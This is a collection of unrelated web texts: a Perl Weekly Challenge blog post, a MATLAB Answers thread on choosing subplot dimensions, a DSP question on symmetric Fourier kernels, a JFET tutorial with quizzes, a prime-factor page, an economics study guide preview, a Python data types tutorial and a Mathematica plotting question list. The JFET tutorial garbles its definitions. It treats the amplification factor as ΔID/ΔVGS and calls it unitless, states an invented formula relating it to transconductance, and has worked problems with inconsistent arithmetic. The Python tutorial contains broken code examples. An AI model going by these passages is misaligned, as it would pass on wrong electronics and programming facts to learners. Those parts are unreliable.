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[ "# TASK #1 › Represent Integer\n\nYou are given a positive integer `\\$N` and a digit `\\$D`.\n\nWrite a script to check if `\\$N` can be represented as a sum of positive integers having `\\$D` at least once. If check passes print `1` otherwise `0`.\n\n## My solution\n\nOn my commute home, I thought this was really straight forward. If I can multiply `\\$D` by a certain number of times and have a remainder that is a multiple of ten, then we have an answer. It works for the two examples provided.\n\nHowever that won't always work. Take '103' and '5' as an example. A solution of 58 + 45 is valid, but doesn't meet the above criteria. Bugger.\n\nFirst off I short circuit two possible solutions and exit if either is true. The first is if `\\$N` contains the digit `\\$D`. The second is if `\\$N` is divisible by `\\$D` with no remainder. Simples.\n\nNow it's time to determine if any combination of two or more eligible numbers can be used to find a solution. For this part I create an array `@numbers` which contain all numbers from 1 to one less than the target that contain the digit `\\$D`, ordered from highest to lowest. Ideally this will give us the shortest solution, but not always. For example using an input of 37 and 2 will show up as 29 + 2 + 2 + 2 + 2 rather than 25 + 12.\n\nI then use a recursive function `_find_numbers` to see if there is a working solution. The parameters are the remaining target, the list of numbers used in this calculation, and the array of all possible numbers (the list in the above paragraph).\n\nFinally I display the solution, including the calculation (or `0` if there is none).\n\nI'm really not sure if the recursive function is the best solution. I tend to use it when it's not always needed. If I wasn't going to use a recursive function my alternate was to started with `@numbers` and then use a map to create a two dimensional array of all possible combinations while removing any sums exceeding the target. And keep adding combinations until we have exhausted all possible solutions.\n\n## Examples\n\n``````» ./ch-1.pl 25 7\nOutput: 0\n\n» ./ch-1.pl 24 7\nOutput: 1 (17 + 7)\n\n» ./ch-1.pl 103 5\nOutput: 1 (58 + 45)\n``````\n\n# TASK #2 › Recreate Binary Tree\n\nYou are given a Binary Tree.\n\nWrite a script to replace each node of the tree with the sum of all the remaining nodes.\n\n## My solution\n\nAfter being criticised in both challenge 093 and 094 for parsing the input as a file, I'm taking a different tact for this task, and probably being a bit too liberal in doing so.\n\nThe idea is to provide the list in a JSON or YAML format and it will output the solution the same format. As readers of my blogs will know, I generally don't use non core modules. The beauty of my solution is that it doesn't actually care what the format is.\n\nWith that in mind, I do two simple steps. The first is to get a sum of all numbers in the string. The second is to replace all numbers with the sum minus that number.\n\nIf JSON is used, this can be prettified by using a tool like jq or yq\n\n## Examples\n\n``````» ./ch-2.pl '{ 1: { 2: { 4: }, 3: [5, 6]}}'|yq eval -P\n27:\n26:\n24:\n- 21\n25:\n- 23\n- 22\n``````" ]

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[ "MATLAB Answers\n\n# How to find the pair of divisors which are closest in value for a non-prime number? If prime, how to do this for the next largest non-prime?\n\n9 views (last 30 days)\nTravis Briles on 24 Apr 2021\nCommented: Travis Briles on 24 Apr 2021\nCase 1: I would like to find the largest two divsors, 'a' and 'b', of a non-prime integer, N such that N = a*b. For instance if N=24, I would like to a code that finds [a,b]=[4,6] not [a,b] = [2,12] etc.\nCase 2: If N is prime, say N=11, how do I do this for the next non-prime number? so N=11->N=12 and [a,b] = [3,4].\n(For context, I have a loop that generates a number of traces to be plotted where the value N is not known ahead of time. Sometimes N=3 and sometimes N=23. I'm trying to arrange the plots with subplot in a mostly 'square' arrangement that isn't just a skinny column or a skinny row. ).\n##### 2 CommentsShowHide 1 older comment\nTravis Briles on 24 Apr 2021\nGood point. Yes I agree that for N=14-> 3x5 is better. Same for N=22 -> 4x6.\n\nSign in to comment.\n\n### Accepted Answer\n\nClayton Gotberg on 24 Apr 2021\nIf you're not dead-set on your method for determining the number of tiles in a subplot, how about using the square root of the integer N to decide the size of the subplot?\nEX:\nN = 24;\nrows = floor(sqrt(N)); % sqrt(N) is ~4.89, k =4\ncolumns = ceil(N/rows); % Makes certain there are enough columns to fit all of the tiles\nWith this method there may be extra tiles (for example, with N = 10 there would be 3x4 tiles with two unused) but the output should be about as square as possible.\nIf you want to find all divisors of a number and pick the ones that are squarest, you can try:\nN = 24;\nif isprime(N)\nN = N+1;\nend\npossible_factors = 1:ceil(sqrt(N)); % Thanks @Peter\n% https://www.mathworks.com/matlabcentral/answers/21542-find-divisors-for-a-given-number#comment_806547\nfactors = possible_factors(rem(N,possible_factors)==0);\n[~, indexOfMin] = min(abs(factors-sqrt(N))); % Thanks @ImageAnalyst\n% https://www.mathworks.com/matlabcentral/answers/152301-find-closest-value-in-array#comment_536274\nsquare_row_value = factors(indexOfMin);\nsquare_column_value = N/square_row_value;\n##### 3 CommentsShowHide 2 older comments\nClayton Gotberg on 24 Apr 2021\nThere I go again! Maybe you do want to loop the check until N is definitely no longer prime.\nwhile isprime(N)\nN=N+1;\nend\n\nSign in to comment.\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!" ]

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[ "# What is the benefit of using symmetric kernel in Fourier transform?\n\nIn image processing, a forward transform of an $$M\\times N\\text{-}$$pixel image $$f$$ from spatial domain coordinates $$(x, y)$$ to transform domain coordinates $$(u, v)$$ can be defined as [1, p.12]:\n\n$$T(u,v)=\\sum_{x=0}^{M-1}\\sum_{y=0}^{N-1}f(x,y)\\cdot r(x,y,u,v)$$\n\nThe transformation kernel $$r(x, y, u, v)$$ is said to be symmetric if [1, p.13],\n\n$$r(x, y, u, v) = r_1(x, u) \\cdot r_1(y, v)$$\n\nThe forward kernel in discrete Fourier transform is [1, p.35]:\n\n$$r(x,y,u,v) = e^{-j2\\pi\\left(\\frac{ux}{M}+\\frac{vy}{N}\\right)}\\\\(u=0,1,\\dots,M-1,\\,v=0,1,\\dots,N-1)$$\n\nMy question is, What is the benefit of using symmetric kernels in Fourier transform?\n\nI know the benefits of separable kernels, already.\n\n: \"Fourier Transform\" Slide set, George Bebis (UNR). Based on Ch 4 of “Digital Image Processing”, Gonzales and Woods. http://www.cs.umb.edu/~duc/cs447_647/spring13/slides/FourierTransform.pdf (archived copy)\n\n• Hm, maybe you want to define what you're doing here, and even more importantly, why you're applying a kernel. Also, applying a kernel has not really something to do with Fourier transforming. – Marcus Müller Jan 29 '17 at 22:06\n• Also, I'd call what you describe separable, not symmetric. could you please cite at least one source? compare: dsp.stackexchange.com/questions/36962/… – Marcus Müller Jan 29 '17 at 22:07\n• @MarcusMüller, cs.umb.edu/~duc/cs447_647/spring13/slides/FourierTransform.pdf see the Page-13. I know the advantage of separable. I am asking for symmetric. – user23572 Jan 30 '17 at 2:04\n• Ah I seem to have constantly read $r_2$ where there was in fact a second $r_1$! Ok, I'll go ahead and add the info that you know the advantages of separability already (because based on reading the question alone correctly, that would've been what I've pointed you at – separable filters are fast to execute, and symmetric is a special case of separable, here) – Marcus Müller Jan 30 '17 at 8:40\n• It's still not clear how symmetric kernel and Fourier Transform are related, so I'm afraid until you clarify that, your question remains unclear! – Marcus Müller Jan 30 '17 at 16:10\n\nA set of symmetric kernels along Cartesian axes should make the transform consitent with respect to (at least 90 degree) rotations of the input. If the 2D input yields a particular 2D output, rotating that same 2D input by an angle of 90 degrees, should yield the same 2D output rotated by 90 degrees. If the kernels in the two dimensions were not symmetric, the transform would yield different output that could not be rotated back to match the original output.\n\nI'd have to think if the invariance applied to angles that were not multiples of 90 degrees.\n\nYou may also want to have a look at the Abel transform which has a circularly symmetric kernel, useful for physical situations with circular symmetry.\n\nLet's see if discrete Fourier transform (DFT) has a symmetric transform kernel. If it does, then:\n\n$$r_1(x,u)=e^{-j2\\pi\\frac{ux}{N}}$$ \\begin{align}r(x, y, u, v) &= r_1(x, u) \\cdot r_1(y, v)\\\\ &= e^{-j2\\pi\\frac{ux}{N}}\\cdot e^{-j2\\pi\\frac{vy}{N}}\\\\ &= e^{-j2\\pi\\frac{ux + vy}{N}}.\\end{align}\n\nThis only matches with the question's definition of the DFT's transform kernel:\n\n$$r(x,y,u,v) = e^{-j2\\pi\\left(\\frac{ux}{M}+\\frac{vy}{N}\\right)},$$\n\nif $$M = N.$$\n\nTo recap, DFT has a symmetric transform kernel if the image and its transform have square dimensions $$N\\times N,$$ which may offer some benefits." ]

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[ "# Define the Amplification Factor and Transconductance of JFET\n\n## Introduction\n\nIn electronics, amplification is a crucial process that increases the strength of a signal. The two key parameters that describe amplification in electronic circuits are amplification factor and transconductance. The amplification factor is a measure of the degree of amplification, while transconductance describes the ability of a device to convert input voltage changes into output current changes.\n\nIf you are interested in electronic circuits or have some knowledge of electronics, you must have come across terms like amplification factor and transconductance. In this article, we will discuss these terms in detail, particularly in the context of Junction Field-Effect Transistors (JFETs). So, let’s dive in.\n\n1. Introduction\n2. Junction Field-Effect Transistor (JFET)\n3. Amplification Factor\n4. Types of Amplification Factor\n5. Voltage Gain\n6. Transconductance\n7. Relationship between Amplification Factor and Transconductance\n8. Factors Affecting Amplification Factor and Transconductance\n9. Applications of JFETs\n11. Conclusion\n12. FAQs\n\n## Junction Field-Effect Transistor (JFET)\n\nA JFET is a three-terminal semiconductor device that works on the principle of controlling the flow of current by varying the width of a channel between two regions of opposite doping types in a semiconductor material. JFETs Factors are voltage-controlled devices, meaning that the gate voltage controls the current flow between the source and drain terminals.", null, "## Amplification Factor\n\nThe amplification factor, also known as the forward transfer admittance, is a measure of the degree of amplification of a JFET. It is defined as the ratio of output current to input voltage, with the gate-source voltage (VGS) held constant. The amplification factor is denoted by the symbol “μ” and has no units. Mathematically, it can be expressed as:\n\nμ = ΔID/ΔVGS\n\nwhere ΔID is the change in drain current and ΔVGS is the change in gate-source voltage.\n\n## Types of Amplification Factors\n\nThere are two types of amplification factors for JFETs, namely:\n\n### Transconductance Amplification Factor (gm)\n\nThe transconductance amplification factor, also known as mutual conductance, is a measure of the sensitivity of drain current to changes in gate-source voltage. It is defined as the change in drain current divided by the change in gate-source voltage, with the drain-source voltage (VDS) held constant. The transconductance amplification factor is denoted by the symbol “gm” and has units of Siemens (S). Mathematically, it can be expressed as:\n\ngm = ΔID/ΔVGS\n\n### Voltage Amplification Factor (Av)\n\nThe voltage amplification factor is a measure of the ratio of the output voltage to the input voltage, with the drain current (ID) held constant. It is denoted by the symbol “Av” and has no units. Mathematically, it can be expressed as:\n\nAv = ΔVDS/ΔVGS\n\n## Voltage Gain\n\nThe voltage gain of a JFET is the ratio of the change in output voltage to the change in input voltage. It is determined by the amplification factor and the load resistance. The voltage gain of a JFET is typically less than that of a bipolar junction transistor (BJT) but has a higher input impedance and lower noise.\n\n## Transconductance\n\nTransconductance is a term used in electronics to describe the ability of a device to convert changes in input voltage into changes in output current. In the context of JFETs, it refers to the sensitivity of the drain current to changes in the gate-source voltage, with the drain-source voltage held constant. It is denoted by the symbol “gm” and has units of Siemens (S). The transconductance of a JFET is an important parameter that determines its performance in various applications.\n\n## Relationship between Amplification Factor and Transconductance\n\nThe amplification factor and transconductance of a JFET are related to each other. The amplification factor is the ratio of output current to input voltage, with the gate-source voltage held constant. On the other hand, the transconductance is the change in drain current divided by the change in gate-source voltage, with the drain-source voltage held constant. Mathematically, the relationship between the two can be expressed as:\n\ngm = μ / (VGS – VP)\n\nwhere μ is the amplification factor, VGS is the gate-source voltage, and VP is the pinch-off voltage.\n\n## Factors Affecting Amplification Factor and Transconductance\n\nThe amplification factor and transconductance of a JFET are influenced by various factors such as temperature, bias voltage, device geometry, and material properties. High temperatures can reduce the transconductance and amplification factor of a JFET, whereas a higher bias voltage can increase the transconductance and decrease the amplification factor. The device geometry, such as the length and width of the channel, can also affect the amplification factor and transconductance.\n\n## Applications of JFETs\n\nJFETs are commonly used in various electronic applications such as amplifiers, oscillators, switches, and voltage regulators. They are also used in high-frequency applications such as radio communication and radar systems. JFETs are particularly useful in applications that require a high input impedance, low noise, and low power consumption.\n\nJFETs have several advantages over other types of transistors, including a high input impedance, low noise, and low power consumption. They are also easy to bias and have a simple construction. However, JFETs also have some disadvantages, such as limited frequency response, poor gain stability, and relatively low transconductance compared to other transistors.\n\n## MCQs\n\nHere are some multiple-choice questions related to the topic of amplification factor and transconductance of JFETs:\n\n### 1. What is the amplification factor of a JFET?\n\na) A measure of the sensitivity of drain current to changes in gate-source voltage\n\nb) A measure of the degree of amplification of a JFET\n\nc) A measure of the ratio of output voltage to the input voltage\n\nd) None of the above\n\nAnswer: b) A measure of the degree of amplification of a JFET\n\n### 2. What is transconductance in JFETs?\n\na) A measure of the ratio of output voltage to the input voltage\n\nb) A measure of the degree of amplification of a JFET\n\nc) A measure of the sensitivity of drain current to changes in gate-source voltage\n\nd) None of the above\n\nAnswer: c) A measure of the sensitivity of drain current to changes in gate-source voltage\n\na) Volts\n\nb) Amperes\n\nc) Siemens (S)\n\nd) Ohms\n\n### 4. Which of the following factors can affect the amplification factor and transconductance of a JFET?\n\na) Temperature\n\nb) Bias voltage\n\nc) Device geometry\n\nd) Material properties\n\ne) All of the above\n\nAnswer: e) All of the above\n\n### 5. Which of the following is NOT an advantage of JFETs?\n\na) High input impedance\n\nb) Low noise\n\nc) Low power consumption\n\nd) High transconductance\n\nAnswer: d) High transconductance is not an advantage of JFETs compared to other types of transistors.\n\nHere are some problems with solutions related to the topic of amplification factor and transconductance of JFETs:\n\nProblem 1:\n\n## A JFET has an amplification factor of 0.02 and a gate-source voltage of 3V. What is the change in drain current if the gate-source voltage is increased to 4V, with the drain-source voltage held constant at 10V?\n\nSolution:\n\nThe expression for transconductance (gm) of the JFET.\n\ngm = μ / (VGS – VP)\n\nHere,\n\nμ is the amplification factor,\n\nVGS is the gate-source voltage,\n\nVP is the pinch-off voltage.\n\nCalculate the transconductance (gm) of the JFET.\n\ngm = μ / (VGS – VP)\n\nSubstitute this values are, μ = 0.02, VGS1 = 3V, VGS2 = 4V, and VP = -4V (assuming an n-channel JFET).\n\ngm = 0.02 / (4V – 3V – (-4V)) = 0.02 S\n\nThe change in drain current (ΔID) can then be calculated using the transconductance formula:\n\nΔID = gm * ΔVGS\n\nwhere ΔVGS is the change in gate-source voltage.\n\nIn this case, ΔVGS = 4V – 3V = 1V. Therefore, the change in drain current is:\n\nΔID = 0.02 S * 1V = 0.02 A = 20 mA\n\nProblem 2:\n\n## A JFET has a transconductance of 0.05 S and a drain-source voltage of 15V. What is the change in drain current if the gate-source voltage is increased from 2V to 3V, with the drain-source voltage held constant?\n\nSolution:\n\nThe expression for amplification factor (μ) of the JFET.\n\ngm = ΔID / ΔVGS\n\nHere,\n\nΔID is the change in drain current,\n\nΔVGS is the change in gate-source voltage,\n\nCalculate the amplification factor (μ) of the JFET.\n\ngm = ΔID / ΔVGS\n\nSubstitute this values are gm = 0.05 S, VGS1 = 2V, and VGS2 = 3V.\n\nμ = gm * (VGS2 – VGS1) = 0.05 S * (3V – 2V) = 0.05\n\nThe change in drain current can then be calculated using the amplification factor formula:\n\nΔID = μ * ID\n\nwhere ID is the drain current. Assuming ID = 10 mA, the change in drain current is:\n\nΔID = 0.05 * 10 mA = 0.5 mA\n\nTherefore, the change in drain current is 0.5 mA when the gate-source voltage is increased from 2V to 3V, with the drain-source voltage held constant at 15V.\n\nNote: In practical situations, the change in drain current may be affected by other factors such as temperature and bias voltage.\n\n## FAQs\n\n### Q. What is a JFET?\n\nA. A JFET is a three-terminal semiconductor device that works on the principle of controlling the flow of current by varying the width of a channel between two regions of opposite doping types in a semiconductor material.\n\n### Q. What is the amplification factor of a JFET?\n\nA. The amplification factor of a JFET is the ratio of output current to input voltage, with the gate-source voltage, held constant.\n\n### Q. What is transconductance?\n\nA. Transconductance is the ability of a device to convert changes in input voltage into changes in output current.\n\n### Q. What factors can affect the amplification factor and transconductance of a JFET?\n\nA. Factors such as temperature, bias voltage, device geometry, and material properties can affect the amplification factor." ]

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[ "# Prime Factors of 1030\n\n1030 is divisible by the prime number 2 which results in 515. Continuing the number 515 is divisible by prime number 5 and the result after division will be 103. The result 103 cannot be divided any further as it is a prime number. Hence the prime factors of 1030 are 2, 5, 103.\n\nPrime Factors of 1030\n2, 5, 103\nPrime Factor Tree of 1030\n 1030", null, "", null, "2 515", null, "", null, "5 103\n\n1030 is divisible by the prime number 2 which results in 515. Continuing the number 515 is divisible by prime number 5 and the result after division will be 103. The result 103 cannot be divided any further as it is a prime number. Hence the prime factors of 1030 are 2, 5, 103." ]

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[ "New version page\n\n# FSU ECO 3223 - STUDY GUIDE FOR FINAL EXAM\n\nPages: 16\nDocuments in this Course\n\n## This preview shows page 1-2-3-4-5 out of 16 pages.\n\nView Full Document\nDo you want full access? Go Premium and unlock all 16 pages.\nDo you want full access? Go Premium and unlock all 16 pages.\nDo you want full access? Go Premium and unlock all 16 pages.\nDo you want full access? Go Premium and unlock all 16 pages.\nDo you want full access? Go Premium and unlock all 16 pages.\n\nUnformatted text preview:\n\nECO 3223-SP2013 EVANSSTUDY GUIDE FOR FINAL EXAM Note: This is intended to direct you to the relevant topics that will be covered on the exam. Questions will be worded differently, so don’t MEMORIZE this content; use it to help you understand the concepts. *KNOW ALL OF THE KEY TERMS FROM EACH CHAPTERCHAPTER 3: WHAT IS MONEY? 1. We discussed at length the evolution of “money” over time; from commodity money to currencybacked by gold, to fiat money. What is “fiat” money?Fiat Money- Paper currency decreed by governments as legal tender (meaning that legally it must it must be accepted as payment for debts) but not convertible into coins or precious metal. (page 57)2. What are the components of M1 and M2? What two factors make it so difficult for the central bankto know the true money supply from month to month?M1- The narrowest measure of money that the Fed reports; includes the most liquid assets.-Currency (held in cash and coins by nonbank public; (excludes ATM and vault cash)-Checking account deposits-Traveler’s checks. M2- Money aggregate that adds assets to M1 that are not quite as liquid as M1.-M1 plus -Small-denomination time deposits-Savings deposits and money market deposit accounts-Money market mutual fund shares (retail)A problem in the measurement of money is that the data are not always as accurate as we would like. Substantial revisions in the data are not a reliable guide to short-run (say, month-to-month) movements in the money supply, although they are more reliable over longer periods of time, such as a year. CHAPTER 4: UNDERSTANDING INTEREST RATES 1. For the exam, you need to know how to calculate:a. Simple and compound interest (single period and multiple periods).Simple Interest = p * i * nwhere: p = principal (original amount borrowed or loaned) i = interest rate for one period n = number of periods1b. Simple future/present value, single period. Future/Present value, multiple periods. Simple Present Value = CF/ (1+i)nc. Discount Bond Yield to MaturityDiscount Bond - A discount bond pays no interest payments. It is bought at a price below face value (at a discount) and the face value is repaid at the maturity date. Ex. A one-year discount bond with a face value of \\$1000 might be bought for \\$900; in a year's time the owner would be repaid the face value of \\$1000. d. Rate of Return. Which portion of this formula gives us the capital gain?R = C + Pt+1-Pt / Pt , the portion that gives capital gain is:Pt+1 - Pt / Pt = gnote: the first portion of the equation , C / Pt, gives you your current yield. 2. Be able to explain why bond prices and interest rates are inversely related. Bond prices and interest rates are inversely related due to supply and demand. If you were to buy a bond yielding 4%, (with a maturity of one year) and interest rates rise, giving newly issued bonds a yield of 12%, the 4% yield would no longer be attractive. For it remain in demand, the price of the 4% bond would drop to whatever price that would match a 12% yield. Therefore, as interest rates rise, bond prices fall to where demand takes them, and vice versa. 3. Why will rising interest rates make prices for previously issued bonds fall? What will happen to thetrue interest rate (or yield) on a bond if its selling price falls? As explained in the last question, the rising interest makes prices for previously issued bonds fall because of increased demand for the higher yield. The interest rate on a bond will increase if its selling price falls. 4. What is the difference between the “real interest rate”, and the nominal rate of interest? Which isthe better measure of the true cost of borrowing or return from lending? Real interest rate is the interest rate that is adjusted by subtracting expected changes in the price level (inflation) so that it more accurately reflects the true cost of borrowing. Nominal interest rate does not allow for inflation. Real interest rate is the better measure of the true cost of borrowing or return from lending because it is adjusted for expected changes in the price level. The real interest rate is also a more accurate indication of the tightness of credit market conditions. 2CHAPTER 5: THE BEHAVIOR OF INTEREST RATES 1. According to the Theory of Asset Demand, what factors will shift the Demand Curve for bonds?(Make sure you know in which direction an increase/decrease will shift the curve.) How would these shifts affect bond prices and interest rates? (Know the same for Bond Supply.)Pg.99 Table 2• Wealth• Expected interest rates• Expected inflation• Riskiness of bonds – relative to other assets • Liquidity of bonds relative to other assets 2. What is the impact upon bond prices and interest rates ofa. an increase in expected inflation Bond price drops, Interest rates increaseb. a business cycle expansionBond price drops, inters rates increasec. a business cycle contractionBond price increases, interest decreases CHAPTER 6: THE RISK AND TERM STRUCTURE OF INTEREST RATES1. Be able to calculate taxable-equivalent yields on municipal bonds. Tax-equivalent yield = Tax-free yield / (1 - your federal tax bracket)Suppose the yield on a taxable fund is 1.50 percent, while the yield on a tax-free fund is 1 percent. Your federal tax bracket is 28 percent (1 - 0.30 = 0.70). 1 / 0.70 = 1.43 Tax-equivalent yield is 1.43 percent; the taxable fund, at 1.50 percent, would be the better deal.2. How do default risk, liquidity and income tax considerations affect bond prices and interest rates on bonds?1) The greater a bond’s default risk, the higher its interest rate relative to other bonds.2) The greater a bond’s liquidity, the lower its interest rate. 3) Bonds with tax-exempt status will have lower interest rates then they otherwise would. 33. What theory best explains why yield curves are generally upward-sloping?Liquidity premium: the theory that the interest rates on a long term bond will equal an average of the short term interest rates expected to occur over the life of the long term bond plus a positive term (liquidity) premiumCHAPTER 7: THE STOCK MARKET1. Understand the Gordon Growth Model, and what the variables represent; be able to calculate the price of a stock. From the resulting price you calculate, interpret what the market price is telling you about investors’ beliefs (when compared to the previous price for the stock).The Gordon Growth Model\n\nView Full Document", null, "Unlocking..." ]

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[ "# Data types in Python\n\nIn this article, we are going to learn all about Data types in Python with the help of examples. Data types are one of the most important stuff of any programming language that tells to interpreter what type of data the programmer wants to use.\n\nIn this, we will explore Python data types and with the help of suitable exmaples along with their different data types.\n\n## Data types in Python\n\nIn Python programming, every value is an data type. Since everything is the object in Python programming. Data types in Python is classes and variables are the instances ( Objects ) of these classes.\n\nHere list of different Python data types.\n\n• Number\n• String\n• Float\n• Int\n• Complex\n• Bool\n• Set\n• Dict\n• List\n• Tuple\n\nIn python, the variable is storing a value and the value belongs to a specific data type, I don’t know what type of value store the variable then don’t worry python provides a type() built-in function which is used to find the data types of variable.\n\nLet understand by an example.\n\n``````\nabc = 'Python'\nprint(abc)\nprint(type(abc))\n\nx = [1,2,3,4,5]\nprint(x)\nprint(type(x))``````\n\nLet understand each data type one by one with the help of the examples.\n\n### Number Data Type\n\nIn python integer, floating number and complex number belong to Python number data type. These data types defined as int, float, and complex.\n\nTo know the data type of the any Python variable, you can use Python type() function.\n\nExample\n\n``````\na = 12 # integer data type\nprint(type(a))\n\nb = 12.0 # float data type\nprint(type(b))\n\nc = 12+bj # complex data type\nprint(type(c))``````\n\n### String Data Type\n\nIn python collection of character is string for example “Python“, “Database” is a string. String value belongs to the str data type.\n\nExample\n\n``````\nabc = 'Python'\nprint(\"The value of a:- \", abc)\nprint(\"The data type of abc:- \", type(abc))``````\n\n### Boolean Data Type\n\nIn python True and False comes under the Boolean data type.\n\nExample\n\n``````\na = True\nprint(type(a))\n\nb = False\nprint(type(b))``````\n\n### Set Data Type\n\nPython set is a collection of items. Python Set is s unindexed, mutable, or changeable data type, and also set does not allow duplicate items. In python set define inside curly { } bracket.\n\nExample\n\n``````\na = {1,2,3,4,5,6}\nprint(\"Set is:- \", a)\n\n# data type of set\nprint(type(a))``````\n\nWhen you assign duplicate items inside set in Python, It eliminate duplicate items automatically.\n\nExample\n\n``````\na = {1,2,3,4,5,6,6, 7, 7}\n\n# print the value of a\nprint(\"Set is:- \", a)\n\n# data type of set\nprint(type(a))``````\n\n### Dict Data Type\n\nDict or Dictionary is a collection of elements that is unordered, indexed, and changeable or mutable.\nIn python, a dictionary has keys and values and each value has its corresponding keys and if\nyou want to access value then you will need to use the key.\n\nPython dictionary written inside curly bracket { } in the form of key: value pair.\n\nExample\n\n``````\ndict1 = {'id':12,'name':'Alex','salary':12000}\n\n# print the value of dict1\nprint(dict['name'])\n\ndata type of dict1\nprint(type(dict1))``````\n\nYou can use Python for loop to access the key and value of the Python dictionary.\n\nExample\n\n``````\ndict1 = {'id':12,'name':'Alex','salary':12000}\nfor key, value in dict1.items():\nprint(f\"{key}: {value}\")\n\n\"\"\"\nOutput\nid: 12\nname: Alex\nsalary: 12000\n\n\"\"\"``````\n\n### List Data Type\n\nThe list is a collection of element which is a changeable, indexed, and mutable data type. In python, the list allows duplicate values, a list written with a square bracket [ ].\n\nExample\n\n``````\n# defined list\nmyList = [1,2,3,6,6,7,7]\n\n# print the value of list\nprint(myList)\n\n# data type of the list\nprint(type(myList))``````\n\nYou can use Python for loop to access the value of the Python list.\n\nExample\n\n``````\nmyList = [1,2,3,6,6,7,7]\nfor i in myList:\nprint(i)``````\n\nOutput\n\n``````\n1\n2\n3\n6\n6\n7\n7``````\n\n### Tuple Data Type\n\nIn Python tuple is a collection of elements that are ordered and unchangeable or immutable and a tuple also allows duplicate items. If a tuple once created don’t modify it again. A tuple is written with a circular bracket ( ).\n\nExample\n\n``````\n# defined type\ntuple1 = (1,2,3,3,4)\n\n# print type value\nprint(tuple)\n\n# data type of Python tuple\nprint(type(tuple1))``````\n\nYou can use Python for loop to access the value of the Python tuple as well.\n\nExample\n\n``````\ntuple1 = (1,2,3,3,4)\nfor i in tuple1:\nprint(i)``````\n\nOutput\n\n``````1\n2\n3\n3\n4``````\n\n## Data Type conversion\n\nIn Python, we can convert one data type to another data type easily. The process of data type conversion is called type conversion.\n\nlet’s see how we can convert.\n\n``````\n# convert to floating point\nprint(float(a))\n\n# convert to complex\nprint(complex(a))\n\n# convert to str\nprint(str(a))\n\n# convert to octal\nprint(oct(a))\n\n# convert to binary\nprint(bin(a))\n\nprint(hex(a))``````\n\n## Conclusion\n\nSo, in this article, we have seen all about Data types in Python with the help of examples. If we talk about data type in one line, Then it will be the identity of the data, the programmer wants to use.\n\nUnlike other Programming language such as C, JavaScript, C++, and Java, Python does not have any keyword to declare variables.\n\nPython provide lots of built-in function to convert variable from one data type to another data type.\n\nIf you like this article, please share and support us, so that we come back for interesting Python tutorials." ]

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[ "# Questions tagged [plotting]\n\nQuestions on creating visualizations from functions or data using high-level constructors such as Plot, ListPlot, Histogram, etc.\n\n10,137 questions\nFilter by\nSorted by\nTagged with\n83 views\n\n### How to plot a crossection of a ParametricPlot3D?\n\nI'm plotting a surface using ParametricPlot3D. Ideally I would like to plot an intersection of the surface with a plane just as seen in another question (Cross Sections or slices of 3d figures - ...\n44 views\n\n### The vectorfield for nonauntonomous system?\n\nThe model is a nonautonomous system $x'=(2+cos(2 π t))x -0.5 x^2-0.5$ and it can be transformed to the autonomous form by ...\n974 views\n\n### In version 9 PlotLegends, how can I remove the strange edges that appear around LegendMarkers?\n\nI'm running Mathematica version 9. I am using ListPlot to plot two sets of data. For each data set, I am using different ...\n199 views\n\n### Mathematica taking forever to compute\n\nI want to simulate the fresnel diffraction through circular aperture.But mathematica is taking forever to calculate.Here is my code. ...\n189 views\n\n### Plot marker edges appear gray in the legend instead of black, as they do in the plot\n\nI'm trying to get my PlotMarkers to appear in the Legend as they do on the plot. I've set up a function named square[], that makes a square with black edges. When apply this function in 'LegendMarkers'...\n41 views\n\n### Why Are Centroid Calculations with Line Integral Wrong?\n\neveryone. I'm currently trying to calculate the centroids of objects using parametric equations and line integrals. I already have a program that can parametrize any shape accurately with a closed ...\n120 views\n\n### Plot the solution from DSolve\n\nI'm trying to solve a differential equation as in the following code: FullSimplify[DSolve[x'[t] == a + b E^(g t) + (c + d E^(-g t)) x[t], x[t], t]] which ...\n102 views\n\n### Plotting maxima within a simplex\n\nI am trying to draw a particular maximum plot within a simplex. I have functions based on two variables: Write p,q for the two variables where p,q \\geq 0 and p + q \\leq 1. This defines the simplex ...\n109 views\n\n### SciDraw increases point size\n\nWhen I make a ListPlot then hand it to Multipanel, the point size gets multiplied by some huge number. Can I control the point size from within scidraw? Here's a basic example: ...\n20 views\n\n### TargetUnits aren't working as expected on an InterpolatingFunction\n\nShort version: My understanding of the use of TargetUnits in a Plot statement is that if the function being plotted has units, MMA will attempt to convert the output of that function to the unit form ...\n458 views\n\n### Why does Plot only sometimes use different colors for each curve [duplicate]\n\nIn this example Plot does not color each curve differently: Plot[{vx0 Sin[t], vy0 Cos[t]} /. {vy0 -> 1, vx0 -> 1}, {t, 0, 12}] but in this example it does: ...\n155 views\n\n### Solving a system of PDEs on a piecewise polynomial domain\n\nI wish to solve following system of equations with Dirchlet and Neumann boundary conditions on an piecewise polynomial (cubic spline) shaped domain as showed here. ...\n118 views\n\n### How to set Color range for ContourPlots?\n\nI'd like to set the color range for a set of ContourPlots within a Table. Please notice that the colors in the uploaded picture aren't the same from one plot to the other, (take a look to the ...\n28 views\n\n### How to create a color code for points based on 3rd dimension with ListPlot or ListLogLogPlot\n\nI have seen some similar posts but could not quite find what I am looking for. I would like to create a 2D plot with discrete points that are color coded by a 3rd dimension value. The color ...\n63 views\n\n### Verification of plotted points of intersection and curve orthogonality\n\nA unit circle and tractrix (with differential equations respectively), $$\\cos \\phi =y;\\, \\sin \\phi= y$$ and tangent slope $$\\phi = \\theta +\\pi/2$$ are plotted to verify orthogonality. Due ...\n466 views\n\n...\n136 views\n\n### Why are parametric plot coordinates different from image?\n\nI am creating parametric equations of objects to find their centroids. With some help from others in a different stack exchange post, I was able to find some code that can accurately parametrize any ...\n177 views\n\n### How to get rid of “fringes” in 3D plot?\n\nThe code below generates a plot with some ugly \"fringes\". Is there a way to get rid of them and get a smoother graphic? ...\n72 views\n\n### ContourPlot3D not wotking for slicing z axis in the ranges of 10^-13\n\nI am using ContourPlot3D to obtain a slice plane at z = constant. However I find that the plane's position is not moving when the range is of the order of 10^-13. I am using the following code. ...\n57 views\n\n### Automatic Manipulation of experimental data and plotting\n\nI have experimental data which looks like this In the high positive and negative x-axis regions, my data is always linear, I want to extract the slope of data in these regions, take average and ...\n44 views\n\n### Non-convex hull mesh from 3d points\n\nI am trying to create a 3d mesh object from list of points, but the only options I see in Mathematica are ConvexHullMesh and ...\n105 views\n\n### How to show just one function from a stored plot?\n\nQ: Is there a general way to remove particular functions from a previously stored call to a plot function? Here is a specific example: ...\n171 views\n\n### Construct, in some manner, a four-dimensional “RegionPlot”\n\nLet me abuse some Mathematica notation and formulate the following \"command\": ...\n17 views\n\n### RecursionLimit errors on Manipulate a 